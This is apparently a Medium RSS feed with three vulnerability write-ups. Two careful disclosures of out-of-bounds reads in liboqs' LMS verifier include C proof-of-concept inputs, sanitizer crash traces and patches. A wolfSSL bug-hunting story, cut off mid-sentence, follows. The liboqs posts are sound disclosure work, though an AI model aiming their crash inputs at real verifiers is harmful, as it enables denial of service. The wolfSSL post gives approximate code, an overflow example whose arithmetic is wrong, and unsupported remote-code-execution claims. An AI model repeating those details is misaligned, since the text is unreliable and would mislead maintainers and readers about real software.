<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by MostReal on Medium]]></title>
        <description><![CDATA[Stories by MostReal on Medium]]></description>
        <link>https://medium.com/@FufuFaf1?source=rss-2fc9983538b4------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*-VnRdCKJGODWI9UCUOGUYg.jpeg</url>
            <title>Stories by MostReal on Medium</title>
            <link>https://medium.com/@FufuFaf1?source=rss-2fc9983538b4------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 11:32:45 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@FufuFaf1/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[The Bug Behind the Bug: A Second Out-of-Bounds Read in liboqs’ LMS Verifier]]></title>
            <link>https://medium.com/@FufuFaf1/the-bug-behind-the-bug-a-second-out-of-bounds-read-in-liboqs-lms-verifier-cf2dd57e55bd?source=rss-2fc9983538b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/cf2dd57e55bd</guid>
            <category><![CDATA[post-quantum-security]]></category>
            <category><![CDATA[memory-safety]]></category>
            <category><![CDATA[post-quantum-cryptography]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cryptography]]></category>
            <dc:creator><![CDATA[MostReal]]></dc:creator>
            <pubDate>Fri, 28 Aug 2026 18:57:46 GMT</pubDate>
            <atom:updated>2026-08-28T18:57:46.283Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pI-06fm9xYmQl-S9OA7e7w.png" /></figure><h3>The Bug Behind the Bug</h3><p>Patch shipped. Sanitizer quiet. Tests green.</p><p>I ran the proof-of-concept again anyway, because I’ve been burned before, and that’s when I learned my patch had been standing in front of a second bug like a bouncer at a club nobody wanted to enter.</p><p>Let me back up.</p><h3>Where we were</h3><p>I’m M. Arya Arjuna H., pelioro on most things. A few days before this, I’d found an out-of-bounds read in liboqs’ incremental LMS verifier — hss_validate_signature_init() calling a helper that read signature[8..11] when the only length guarantee on the table was four bytes. Eight bytes of heap over-read, reachable from OQS_SIG_STFL_verify, fixed by threading signature_len into the helper and checking it before touching anything.</p><p>Clean bug. Clean fix. I patched it, reran the PoC, got verify returned -1 with no ASan output, ran the KATs, all passed.</p><p>Then I did the thing that separates “I fixed a bug” from “I fixed the bug.” I asked: what does this function do <em>after</em> the point I just fixed?</p><p>Because the first bug was a wall. It failed early, on almost everything, and every short signature I’d been throwing at that function had been dying at my new signature_len &lt; 12 check before it could reach any of the code further down. My patch wasn&#39;t just fixing a bug — it was hiding whatever came next.</p><p>So I built a signature that would get past it.</p><h3>Slipping past the front door</h3><p>The first bug lived in is_hss_public_key(), whose entire job is asking &quot;is this public key an HSS key or a plain single-tree LMS key?&quot; If it says HSS, the code advances the public key pointer by four and walks a hierarchy of subtrees. If it says LMS, levels == 1 and the whole hierarchy loop is skipped.</p><p>That skip is the interesting part.</p><p>Look at what the loop actually does when levels &gt; 1:</p><pre>for (i = 0; i &lt; levels - 1; i++) {<br>    param_set_t lm_type = (param_set_t)get_bigendian(public_key, 4);<br>    param_set_t lm_ots_type = (param_set_t)get_bigendian(public_key + 4, 4);<br>    unsigned l_siglen = (unsigned)lm_get_signature_len(lm_type, lm_ots_type);<br>    if (l_siglen == 0 || l_siglen &gt; signature_len) goto failed;<br>    const unsigned char *l_sig = signature;<br>    signature += l_siglen; signature_len -= l_siglen;</pre><pre>    if (signature_len &lt; 4) goto failed;<br>    lm_type = (param_set_t)get_bigendian(signature, 4);<br>    unsigned l_pubkeylen = (unsigned)lm_get_public_key_len(lm_type);<br>    if (l_pubkeylen == 0 || l_pubkeylen &gt; signature_len) goto failed;<br>    ...<br>}</pre><p>This loop is <em>careful</em>. Every iteration validates the sub-signature length against what’s left, validates the sub-public-key length against what’s left, decrements as it consumes. Whoever wrote this understood the assignment. This is the disciplined code.</p><p>And it’s the disciplined code that was, entirely by accident, protecting everything after it.</p><p>Because if you hand liboqs a <strong>single-tree LMS public key</strong>, levels is 1, levels - 1 is 0, and the loop body never executes. Not once. All those careful checks — skipped. Every one of them. And signature/signature_len sail through untouched, still pointing at the original buffer minus the four-byte header, with nothing having verified that there&#39;s anything meaningful left in it.</p><p>The paranoid path was carrying the non-paranoid path on its back, and I only saw it because I looked at what happens when the paranoid path takes the day off.</p><h3>What’s waiting at the bottom</h3><p>Here’s where the pointer ends up:</p><pre>unsigned h, n;<br>if (!lm_ots_look_up_parameter_set(ots_type, &amp;h, &amp;n, NULL, NULL, NULL)) {<br>    ctx-&gt;status = info-&gt;error_code = hss_error_bad_signature;<br>    return false;<br>}</pre><pre>ctx-&gt;h = h;<br>hss_init_hash_context(h, &amp;ctx-&gt;hash_ctx);<br>{<br>    unsigned char prefix[MESG_PREFIX_MAXLEN];<br>    memcpy(prefix + MESG_I, ctx-&gt;final_public_key + 8, I_LEN);<br>    memcpy(prefix + MESG_Q, signature, 4);      /* q */<br>    SET_D(prefix + MESG_D, D_MESG);<br>    memcpy(prefix + MESG_C, signature + 8, n);  /* C */<br>    hss_update_hash_context(h, &amp;ctx-&gt;hash_ctx, prefix, MESG_PREFIX_LEN(n));<br>}</pre><p>Three memcpy calls building the message-hash prefix. Two of them read from signature. Neither is preceded by a length check.</p><p>The second one is the problem. signature + 8, for n bytes, where n comes from the OTS parameter set. For every SHA-256 parameter set liboqs supports, n is 32. So the read requires signature_len &gt;= 8 + 32 = 40 bytes, and nothing in the entire function has established that anything is left in the buffer at all.</p><p>Note the difference in character from the first bug. That one was get_bigendian() reading four bytes past the end — small, quiet, easy for an allocator to absorb. This one is a <strong>32-byte </strong><strong>memcpy</strong> starting eight bytes into whatever&#39;s left. About 36 bytes of over-read, in one shot, through memcpy. That&#39;s not the kind of thing that quietly lands in another live allocation. That&#39;s the kind of thing that finds a page boundary.</p><h3>The PoC, and the moment it clicked</h3><p>I needed a public key that would classify as single-tree LMS, so the loop would be skipped. That means two valid parameter-set words up front and no HSS level count:</p><pre>static void put_be32(unsigned char *p, unsigned v) {<br>    p[0] = (v &gt;&gt; 24) &amp; 0xff; p[1] = (v &gt;&gt; 16) &amp; 0xff;<br>    p[2] = (v &gt;&gt; 8) &amp; 0xff;  p[3] = v &amp; 0xff;<br>}</pre><pre>int main(void) {<br>    OQS_init();</pre><pre>    unsigned char *pk = calloc(1, 60);<br>    put_be32(pk + 0, 0x00000005);  // LMS_SHA256_N32_H5<br>    put_be32(pk + 4, 0x00000004);  // LMOTS_SHA256_N32_W8</pre><pre>    size_t sig_len = 8;<br>    unsigned char *sig = calloc(1, sig_len);<br>    const unsigned char msg[4] = &quot;test&quot;;</pre><pre>    OQS_SIG_STFL_alg_lms_verify(msg, sizeof msg, sig, sig_len, pk);<br>    ...<br>}</pre><p>Eight-byte signature. Four get eaten by the header. Four remain. Then we ask for thirty-two bytes starting at offset eight.</p><p>I ran it against the build that already had my first patch in it. That’s the important detail — this is the <em>fixed</em> library.</p><pre>[PoC2] single-tree LMS pk + 8-byte signature<br>[PoC2] expect OOB read at signature+8..39 (memcpy C, n=32)<br>=================================================================<br>==32477==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7b45d81e001c<br>READ of size 32 at 0x7b45d81e001c thread T0</pre><pre>0x7b45d81e001c is located 4 bytes after 8-byte region [0x7b45d81e0010,0x7b45d81e0018)</pre><p>READ of size 32. Four bytes past an eight-byte allocation, reaching thirty-two bytes deep.</p><pre>__asan_memcpy<br>hss_validate_signature_init    hss_verify_inc.c:220<br>oqs_sig_stfl_lms_verify        sig_stfl_lms_functions.c:630<br>OQS_SIG_STFL_alg_lms_verify    sig_stfl_lms_functions.c:141</pre><p>Different line. Different mechanism. Different size class. Same public entry point, and unaffected by the patch I’d been feeling good about ten minutes earlier.</p><p>That’s the whole reason this is a separate writeup and a separate advisory. If you’d read one report covering both and applied one fix, you’d have shipped with this one live, and you’d have no reason to suspect it. The first fix makes the second one <em>harder to find</em>, not less real.</p><h3>Fixing it, and the ordering detail that bit me</h3><p>The fix is a length check before the prefix block. You need n first, which means it has to go after lm_ots_look_up_parameter_set() resolves the parameter set:</p><pre>ctx-&gt;h = h;<br>if (signature_len &lt; 8 + (size_t)n) {<br>    ctx-&gt;status = info-&gt;error_code = hss_error_bad_signature;<br>    return false;<br>}</pre><pre>hss_init_hash_context(h, &amp;ctx-&gt;hash_ctx);<br>{<br>    unsigned char prefix[MESG_PREFIX_MAXLEN];<br>    memcpy(prefix + MESG_I, ctx-&gt;final_public_key + 8, I_LEN);<br>    memcpy(prefix + MESG_Q, signature, 4);<br>    SET_D(prefix + MESG_D, D_MESG);<br>    memcpy(prefix + MESG_C, signature + 8, n);<br>    hss_update_hash_context(h, &amp;ctx-&gt;hash_ctx, prefix, MESG_PREFIX_LEN(n));<br>}</pre><p>My first attempt put the check <em>inside</em> the braces, after hss_init_hash_context(). It killed the over-read fine, and then LeakSanitizer handed me 184 bytes of leaked OpenSSL EVP context on the way out — because I was bailing out after initializing a hash context that nobody would ever finalize. Small thing. Correct thing to notice. I moved the check above the init and it went away.</p><p>Worth saying out loud: LSan caught a resource leak I introduced <em>while fixing a memory-safety bug</em>, in the same session, in the same function. Sanitizers earn their keep at both ends of the diff.</p><h3>After the patch</h3><ul><li>the eight-byte single-tree PoC: rc=-1, no ASan output</li><li>signature lengths 4 through 11 (the first bug’s range): still clean</li><li>a full sweep of lengths 0 to 1400 across single-tree LMS at two parameter sets and a two-level HSS key: no aborts</li><li>LMS KATs pass — LMS_SHA256_H5_W1, LMS_SHA256_H5_W8, LMS_SHA256_H5_W8_H5_W8, LMS_SHA256_H10_W2_H10_W2</li></ul><p>Both patched paths land at the same place: reject the signature, return hss_error_bad_signature, touch nothing you can&#39;t account for.</p><h3>Severity, honestly</h3><p>Same envelope as the first: read-only, bounded, no write, no data returned to the caller. <strong>CVSS v3.1 5.3 Medium</strong>, AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L. <strong>CWE-125</strong>, or <strong>CWE-126</strong> if you want to be precise about it being a buffer over-read inside memcpy, with <strong>CWE-20</strong> as the root cause.</p><p>The score doesn’t move, but the practical crash probability does. Four bytes of over-read from get_bigendian() frequently lands in another live object and nothing happens. Thirty-six bytes through memcpy, starting from a small allocation, is meaningfully more likely to touch something the allocator doesn&#39;t own. Same number, more bite.</p><h3>What I actually took away from this</h3><p>The habit I want to keep is this: after you patch a parser, go find the input that gets <em>past</em> your patch.</p><p>Not “does the PoC stop reproducing” — of course it stops, you wrote the check that stops it. The question is what the code does when your check passes. Every guard you add is also a filter on your own test coverage, and if the guard is early enough it can filter out the very inputs that would have shown you the next problem.</p><p>Both of these bugs came from the same place: a function where the length was tracked meticulously in some branches and forgotten entirely in others. The levels &gt; 1 loop threads signature_len through every step like it&#39;s carrying something fragile. The levels == 1 path just... doesn&#39;t. Same function. Twenty lines apart.</p><p>Ninety percent correct paranoia is where these live. Nobody misses the check on the path they were thinking about. They miss it on the path that’s structurally a special case — the loop that runs zero times, the branch that’s “just” the simple version.</p><p>If Nasa from <em>Tonikawa</em> had audited this, she’d have written down that the loop bound can be zero and that this means every check inside it is optional. That’s the kind of note that saves you thirty-six bytes.</p><p>— M. Arya Arjuna H. (pelioro)</p><p><em>Second of two distinct out-of-bounds reads in the same liboqs function, from commit </em><em>5a8d04785 (PR #2435), shipped in 0.16.0. This one survives the fix for the first, which is exactly why it gets its own report.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cf2dd57e55bd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Four Bytes of Trust: How a Length Check That Almost Existed Broke liboqs LMS Verifier]]></title>
            <link>https://medium.com/@FufuFaf1/four-bytes-of-trust-how-a-length-check-that-almost-existed-broke-liboqs-lms-verifier-6705fdd68c7f?source=rss-2fc9983538b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/6705fdd68c7f</guid>
            <category><![CDATA[post-quantum-cryptography]]></category>
            <category><![CDATA[memory-safety]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cryptography]]></category>
            <dc:creator><![CDATA[MostReal]]></dc:creator>
            <pubDate>Fri, 28 Aug 2026 18:54:28 GMT</pubDate>
            <atom:updated>2026-08-28T18:54:28.858Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OXaHlK1g5y6-WwHskARz0w.png" /></figure><h3>Four Bytes of Trust</h3><p>I want to start with the line that cost somebody eight bytes of somebody else’s heap:</p><pre>if (signature_len &lt; 4) {<br>    ctx-&gt;status = info-&gt;error_code = hss_error_bad_signature;<br>    return false;<br>}</pre><p>That’s from hss_validate_signature_init() in liboqs, the Open Quantum Safe library that a startling amount of post-quantum tooling depends on. The function is verifying an LMS signature. LMS is one of the hash-based signature schemes NIST blessed — RFC 8554, Merkle trees all the way down, the kind of construction that&#39;s boring in the best possible way because its security rests on hash functions and not on some lattice problem we&#39;re all quietly hoping stays hard.</p><p>The check above says: I need at least four bytes before I can read the level count. Fine. Reasonable. Correct, even, for the thing it’s guarding.</p><p>Then, three lines later, the code walks off the end of the buffer.</p><p>I’m M. Arya Arjuna H. — pelioro if you’ve seen me around — and I found this while reading liboqs the way you read a light novel you suspect is going to disappoint you: slowly, with growing suspicion, hunting for the moment the author forgets what they set up in chapter one.</p><h3>Why I was in there at all</h3><p>I wasn’t fuzzing. Not yet. I was doing the unglamorous thing: opening the files in src/sig_stfl/ and reading them.</p><p>Stateful hash-based signatures are an interesting place to look because they’re structurally different from everything else in a PQC library. ML-KEM, ML-DSA, Falcon — those are fixed-size worlds. The signature is 752 bytes or 3309 bytes or whatever the parameter set says, the wrapper checks the length once, and the math kernel underneath never has to think about it again.</p><p>LMS and HSS aren’t like that. HSS is <em>hierarchical</em> LMS: a tree of LMS trees, where the number of levels is encoded in the signature itself. Which means the parser has to read attacker-controlled bytes to figure out how to parse the rest of the attacker-controlled bytes. That’s the shape of a bug. Not proof of one, but the shape. Anywhere a length field decides how much you read next, you go slower and you read every guard.</p><p>So I read every guard. And in hss_verify_inc.c — the <em>incremental</em> verification path, the one for signing multi-gigabyte files in chunks — the guards stopped matching the reads.</p><h3>The helper that read too far</h3><p>Here’s the function that does it. Added recently, in commit 5a8d04785, PR #2435, which was titled &quot;Add NIST LMS Signature verify KATs.&quot; A test-vector PR. It shipped a new parsing helper along the way.</p><pre>static bool is_hss_public_key(const unsigned char *public_key,<br>                              const unsigned char *signature) {<br>    uint_fast32_t sig_levels =<br>        (uint_fast32_t)get_bigendian(signature, 4) + 1;<br>    uint_fast32_t sig_lm_ots  = (uint_fast32_t)get_bigendian(signature + 8, 4);<br>    uint_fast32_t pk_levels   = (uint_fast32_t)get_bigendian(public_key, 4);<br>    uint_fast32_t pk_lm_type  = (uint_fast32_t)get_bigendian(public_key + 4, 4);<br>    uint_fast32_t pk_lm_ots   = (uint_fast32_t)get_bigendian(public_key + 8, 4);<br>    ...<br>}</pre><p>Look at the parameter list. public_key, signature. Two pointers. No lengths. Not one.</p><p>The job of this helper is honest enough: figure out whether the public key you were handed is a plain LMS key or an HSS key, by cross-checking its leading fields against the signature header. HSS public keys start with a 32-bit level count; LMS ones don’t. So you compare pk[0..3] against sig[0..3] + 1 and see if the story holds together.</p><p>But it also reads signature + 8. Four bytes starting at offset 8, so bytes 8, 9, 10, 11. Which means this function requires a twelve-byte signature. And the only guarantee it has, courtesy of its caller, is four.</p><p>get_bigendian() is not going to save you. I checked. It&#39;s exactly what you&#39;d write on a whiteboard:</p><pre>unsigned long long get_bigendian(const void *target, size_t bytes) {<br>    const unsigned char *b = target;<br>    unsigned long long result = 0;<br>    for (size_t i = 0; i &lt; bytes; i++) {<br>        result = 256 * result + (b[i] &amp; 0xff);<br>    }<br>    return result;<br>}</pre><p>No bounds. No length. It reads what you point it at, for as long as you tell it to. That’s fine — that’s the contract — but it means every caller owes the check, and here nobody paid.</p><p>Any signature between 4 and 11 bytes long triggers a heap over-read of up to eight bytes. The signature and its length are both fully attacker-controlled at verification time. That’s the whole bug.</p><h3>The part where I stop guessing</h3><p>Reading code gets you a hypothesis. It does not get you a vulnerability. There’s a specific kind of embarrassment reserved for people who publish “OOB read” writeups about code paths that turn out to be unreachable, and I would rather not collect that particular achievement.</p><p>So: build it, break it, watch the sanitizer scream.</p><pre>cmake -GNinja -DCMAKE_BUILD_TYPE=Debug \<br>  -DOQS_ENABLE_SIG_STFL_LMS=ON \<br>  -DOQS_HAZARDOUS_EXPERIMENTAL_ENABLE_SIG_STFL_KEY_SIG_GEN=ON \<br>  -DUSE_SANITIZER=Address -DOQS_BUILD_ONLY_LIB=ON -B build_asan<br>ninja -C build_asan oqs</pre><p>Small speed bump worth mentioning because it’ll cost you twenty minutes otherwise: on this box GCC 16 shipped a libasan.so linker script pointing at libasan.so.8.0.0, which didn&#39;t exist. Rather than fight it I rebuilt with CC=clang, which had its ASan runtime sitting right there in /usr/lib/clang/22/lib/. Not a liboqs problem. Just a Tuesday.</p><p>The PoC is almost insultingly short:</p><pre>#include &lt;oqs/oqs.h&gt;<br>#include &lt;oqs/sig_stfl_lms.h&gt;</pre><pre>int main(void) {<br>    OQS_init();<br>    unsigned char *pk  = calloc(1, 60);  // contents genuinely don&#39;t matter<br>    unsigned char *sig = calloc(1, 4);   // four bytes. exactly the minimum.<br>    const unsigned char msg[4] = &quot;test&quot;;</pre><pre>    OQS_SIG_STFL_alg_lms_verify(msg, sizeof msg, sig, 4, pk);</pre><pre>    free(sig); free(pk);<br>    OQS_destroy();<br>    return 0;<br>}</pre><p>A four-byte heap allocation. The minimum the guard permits. Then we ask liboqs to please read byte eight.</p><pre>==17180==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7bf6749e0018<br>READ of size 1 at 0x7bf6749e0018 thread T0</pre><pre>0x7bf6749e0018 is located 4 bytes after 4-byte region [0x7bf6749e0010,0x7bf6749e0014)</pre><p>“Located 4 bytes after 4-byte region.” The allocation ends at offset 4; we’re touching offset 8. Textbook.</p><p>My symbolizer wasn’t installed, so the trace came back as raw addresses. addr2line doesn&#39;t care:</p><pre>OQS_LMS_NAMESPACE_get_bigendian        endian.c:20<br>is_hss_public_key                      hss_verify_inc.c:40<br>public_key_levels                      hss_verify_inc.c:69<br>hss_validate_signature_init            hss_verify_inc.c:119<br>oqs_sig_stfl_lms_verify                sig_stfl_lms_functions.c:630<br>OQS_SIG_STFL_alg_lms_verify            sig_stfl_lms_functions.c:141<br>main                                   poc_lms_oob.c:24</pre><p>Six frames from a public API to the over-read. No internal-only entry point, no “well technically you’d have to call this private function.” OQS_SIG_STFL_verify → wrapper → oqs_sig_stfl_lms_verify → hss_validate_signature_init → helper → boom.</p><h3>The other version of this function got it right</h3><p>Here’s the detail that turns “bug” into “regression,” and it’s the part I’d want to know if I maintained this code.</p><p>liboqs has two LMS verify paths. There’s the incremental one I just broke, and there’s the older monolithic hss_validate_signature() in hss_verify.c. Same protocol, same header layout, written years earlier. It does this:</p><pre>if (signature_len &lt; 4) {<br>     info-&gt;error_code = hss_error_bad_signature;<br>     return false;<br>}</pre><pre>uint_fast32_t levels = (uint_fast32_t)get_bigendian(signature, 4) + 1;<br>signature += 4; signature_len -= 4;<br>if (levels &lt; MIN_HSS_LEVELS || levels &gt; MAX_HSS_LEVELS ||<br>        levels != (uint_fast32_t)get_bigendian(public_key, 4)) {<br>    info-&gt;error_code = hss_error_bad_signature;<br>    return false;<br>}</pre><p>Check four bytes, consume four bytes, decrement the counter, validate, and — crucially — never reach past what you’ve accounted for. The old path is disciplined. It threads signature_len through the whole parse like a good citizen.</p><p>The new helper skipped that discipline entirely, because it was written as a small local classifier and small local classifiers feel like they don’t need plumbing. They always need the plumbing. git log puts both the file and those exact lines on 5a8d04785, which lands in tag 0.16.0-rc1 and ships in 0.16.0. Anything 0.15.x and earlier never had the helper, so it was never exposed.</p><p>It’s the standard shape of this class of regression: the correct pattern existed twenty files away, in a function doing the same job, and the new code just didn’t inherit it.</p><h3>The fix is four lines and one parameter</h3><p>There’s a version of this patch that adds a check inside hss_validate_signature_init before it calls the helper. That works today and breaks tomorrow, the moment someone calls the helper from somewhere else. Put the check where the read is:</p><pre>static bool is_hss_public_key(const unsigned char *public_key,<br>                              const unsigned char *signature,<br>                              size_t signature_len) {<br>    if (signature_len &lt; 12) {   // needs sig[0..3] and sig[8..11]<br>        return false;<br>    }<br>    ...<br>}</pre><p>Then thread signature_len through public_key_levels(), which is the only other caller, and pass it down from hss_validate_signature_init. Three signatures touched, one guard added. Returning false is the semantically right answer too — an eleven-byte blob genuinely is not an HSS public key correlation, so saying &quot;no&quot; is honest rather than defensive.</p><p>Verification after the patch:</p><ul><li>signature lengths 4 through 11: all return -1, zero ASan complaints</li><li>LMS KATs still pass — LMS_SHA256_H5_W1, LMS_SHA256_H5_W8, plus the two-level HSS sets LMS_SHA256_H5_W8_H5_W8 and LMS_SHA256_H10_W2_H10_W2</li><li>a sweep of every signature length from 0 to 1400 bytes across three parameter configurations: clean</li></ul><h3>How much should you actually care</h3><p>Let me not oversell this, because the PQC space has enough breathless writing in it already.</p><p>This is a bounded, read-only over-read of at most eight bytes. Nothing is written. No secret crosses a boundary — the bytes get folded into a comparison that fails anyway, and no oracle comes back out. CVSS v3.1 lands at <strong>5.3 Medium</strong>, AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L, and the classification is <strong>CWE-125</strong> with <strong>CWE-20</strong> underneath it as the root cause.</p><p>The realistic damage is a crash. Whether you get one depends on where the allocator put your four-byte buffer. Most of the time offset 8 is some other object’s business and nothing visible happens. But under a hardened allocator, under a guard page, under ASan in your own CI, or in the not-at-all-hypothetical case where your service verifies signatures inside a request handler — that’s a remote unauthenticated crash on a code path whose entire job is processing hostile input.</p><p>I keep coming back to that. This is a <em>verifier</em>. Its input is, by definition, from someone you don’t trust. If it isn’t paranoid, nothing downstream can be.</p><h3>The lesson, minus the sermon</h3><p>If a helper function takes a const unsigned char * and no length, and the bytes behind that pointer came from the network, you already know how the story ends. You don&#39;t need to read the body. The type signature is the bug report.</p><p>There’s an Attack-on-Titan-shaped joke here about the wall being four bytes tall while the thing outside is twelve, but the honest version is less dramatic than that: someone added a useful classifier to a parser, it needed twelve bytes, the caller promised four, and nobody wrote it down anywhere the compiler could see.</p><p>Second one from this same function is written up separately, because it’s a genuinely different bug in a different place and stapling them together would let a reader think one patch covers both. It doesn’t. I checked that too — the second one still fires with this fix applied.</p><p>— M. Arya Arjuna H. (pelioro)</p><p><em>Found by source review; confirmed with AddressSanitizer and a four-byte heap buffer. Patch is four lines and one extra parameter, which is the correct ratio of fix to fuss.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6705fdd68c7f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WolfSSL Hunting Experience: A Gen Z Bug Hunter’s Story]]></title>
            <link>https://medium.com/@FufuFaf1/wolfssl-hunting-experience-a-gen-z-bug-hunters-story-23dedc4edb18?source=rss-2fc9983538b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/23dedc4edb18</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[english]]></category>
            <category><![CDATA[open-source]]></category>
            <dc:creator><![CDATA[MostReal]]></dc:creator>
            <pubDate>Sat, 18 Apr 2026 11:47:30 GMT</pubDate>
            <atom:updated>2026-04-18T11:47:30.683Z</atom:updated>
            <content:encoded><![CDATA[<p>Lol, so here’s the deal… I’ve been hunting in wolfSSL for quite a while now. For those who don’t know, wolfSSL is an SSL/TLS library used in tons of embedded devices, IoT, even game consoles. So the impact is pretty huge if you find serious bugs here.</p><h3>How It Started</h3><p>It started out of curiosity. I saw wolfSSL was open-source and quite popular in the embedded world. Oh btw, at that time I was looking for targets that weren’t too mainstream like OpenSSL or LibreSSL (those have been explored to death by other hunters). WolfSSL was interesting because:</p><ol><li>Used in many devices that don’t get updated often (embedded devices are hard to update)</li><li>Codebase is pretty big but not as massive as OpenSSL</li><li>Focus on embedded so there might be edge cases that get missed</li></ol><h3>Initial Setup</h3><p>After that, I started setting up the environment. I compiled wolfSSL from source, enabled all possible features, then ran the test suite to get familiar with the codebase.</p><p>The setup was kinda tricky at first, lol. But after understanding the build system, it was smooth sailing. I used config that enabled:</p><ul><li>FIPS mode (if available)</li><li>All cipher suites</li><li>All cryptographic algorithms</li><li>Fuzzing harness</li></ul><h3>Hunting Strategy</h3><p>My strategy is basically manual + AI-assisted:</p><ol><li><strong>Manual code review</strong> — looking for classic bugs like buffer overflow, use-after-free, integer overflow</li><li><strong>AI-assisted analysis</strong> — using <strong>SWE-1.6fast</strong> for software engineering analysis and <strong>Oppus</strong> for code analysis</li><li><strong>Fuzzing</strong> — using AFL++, libFuzzer, building custom fuzz harness</li><li><strong>Differential testing</strong> — comparing behavior with OpenSSL</li><li><strong>Edge case hunting</strong> — looking for weird inputs that devs might not have thought of</li></ol><h3>Findings</h3><h3>Finding #1: Buffer Overflow in ASN.1 Parser</h3><p>Lol, this first finding was pretty fun. Step-by-step how I found it:</p><p><strong>Phase 1: AI-assisted Scanning</strong></p><ul><li>I ran <strong>SWE-1.6fast</strong> to analyze wolfSSL codebase from a software engineering perspective</li><li>SWE-1.6fast identified several hotspots in ASN.1 parsing functions that had potential buffer overflow</li><li>Analysis results showed potential issue in wolfcrypt/src/asn.c area in certificate parsing</li></ul><p><strong>Phase 2: Manual Code Review</strong></p><ul><li>I focused on function DecodeCertExtensions() that was flagged by SWE-1.6fast</li><li>Around line 2300, there’s logic that reads the length field from ASN.1 BER encoding</li><li>The problem: it reads length as word32 from input but doesn’t validate if input_ptr + length is still within buffer bounds</li></ul><p>Code looks something like this:</p><pre>length = *input_ptr++;<br>if (length &amp; 0x80) {<br> // long form<br> len_bytes = length &amp; 0x7f;<br> length = 0;<br> for (i = 0; i &lt; len_bytes; i++) {<br> length = (length &lt;&lt; 8) | *input_ptr++;<br> }<br>}<br>// BUG: doesn&#39;t check if input_ptr + length &lt;= buffer_end<br>XMEMCPY(output, input_ptr, length);</pre><p><strong>Phase 3: Proof of Concept</strong></p><ul><li>I crafted a certificate with a huge extension length (0xFFFFFFFF)</li><li>During parsing, input_ptr + length overflows to a small value and passes existing bounds check</li><li>But XMEMCPY still copies many bytes because the length is still huge</li><li>Result: buffer overflow, overwrites return address</li></ul><p><strong>Phase 4: Verification</strong></p><ul><li>Used AddressSanitizer to confirm memory corruption</li><li>Reproducible crash with crafted certificate</li><li>Impact: Remote code execution if an attacker can send a malformed certificate to a server using wolfSSL</li></ul><h3>Finding #2: Integer Overflow in Memory Allocation</h3><p>After that, I found an integer overflow in memory allocation. Here’s how:</p><p><strong>Phase 1: Oppus Analysis</strong></p><ul><li>I used <strong>Oppus</strong> (AI code analyzer) to analyze arithmetic operation patterns in memory allocation</li><li>Oppus flagged several locations with size = a + b patterns without overflow checks</li><li>One hotspot was in a function handling certificate chain parsing</li></ul><p><strong>Phase 2: Deep Dive</strong></p><ul><li>In function ProcessCertificateChain(), there’s logic like this:</li></ul><pre>total_size = cert_count * sizeof(cert_t) + extensions_size;<br>buffer = XMALLOC(total_size, heap, DYNAMIC_TYPE_CERT);</pre><ul><li>Problem: if cert_count and extensions_size are both huge, total_size can overflow</li><li>Example:<br> cert_count = 0x100000, extensions_size = 0x100000 → total_size = 0x200000 (OK)</li><li>But if:<br> cert_count = 0x10000000, extensions_size = 0x10000000 → total_size = 0x20000000 (overflows to a smaller value)</li></ul><p><strong>Phase 3: Exploitation</strong></p><ul><li>An attacker can control cert_count and extensions_size via a malformed certificate chain</li><li>When overflow happens, XMALLOC allocates a small buffer</li><li>But the code afterward copies data based on the original (large) values</li><li>Result: heap overflow, can lead to code execution</li></ul><p><strong>Phase 4: Testing</strong></p><ul><li>I created a test case with a certificate chain containing many certs with large extension sizes</li><li>Confirmed crash with AddressSanitizer</li><li>Impact: Remote code execution via malformed certificate chain</li></ul><h3>Finding #3: Use-After-Free in TLS Handshake</h3><p>This one was kinda tricky. Here’s how I found it:</p><p><strong>Phase 1: Fuzzing Setup</strong></p><ul><li>I built a custom fuzz harness for TLS handshake (fuzz/fuzz_tls_server.c)</li><li>The harness simulates a TLS server accepting connections with fuzzer-controlled input</li><li>Key part: custom IO callbacks (fuzz_recv_cb and fuzz_send_cb) injecting input into the handshake</li></ul><p><strong>Phase 2: Fuzzing with AFL++</strong></p><ul><li>Ran AFL++ with AddressSanitizer enabled</li><li>After a few hours, the fuzzer found a crash in the error path during handshake failure</li><li>Stacktrace showed access to already freed memory</li></ul><p><strong>Phase 3: Root Cause Analysis</strong></p><ul><li>Debugged with GDB and traced execution flow</li><li>During handshake errors, some objects are freed</li><li>But in certain error paths, callbacks still reference freed objects</li></ul><p>Code:</p><pre>if (error) {<br> wolfSSL_free(ssl); // free object<br> // …<br> ssl-&gt;callbacks.error_cb(ssl, error); // BUG: access freed object!<br>}</pre><p><strong>Phase 4: Verification</strong></p><ul><li>Reproduced crash with fuzzer-generated input</li><li>Confirmed use-after-free with AddressSanitizer</li><li>Impact: Potentially exploitable if attacker controls data copied into freed 